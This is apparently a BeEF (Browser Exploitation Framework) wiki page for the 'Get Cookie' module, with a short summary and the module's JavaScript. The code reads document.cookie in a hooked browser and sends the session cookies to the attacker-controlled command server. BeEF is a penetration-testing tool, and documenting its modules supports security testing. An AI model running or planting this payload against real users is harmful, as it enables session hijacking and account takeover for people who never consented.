Skip to content

Module: Get Cookie

Wade Alcorn edited this page Oct 16, 2026 · 3 revisions

Summary

  • Objective: This module will retrieve the session cookie from the current page.
  • Date: ???
  • Authors: bcoles
  • Browsers: All
  • Code

Internal Working

This module just gather the cookies for this page using the document.cookie function :

beef.execute(function() {
    beef.net.send("<%= @command_url %>", <%= @command_id %>, 'cookie='+document.cookie);
});

Feedback

Clone this wiki locally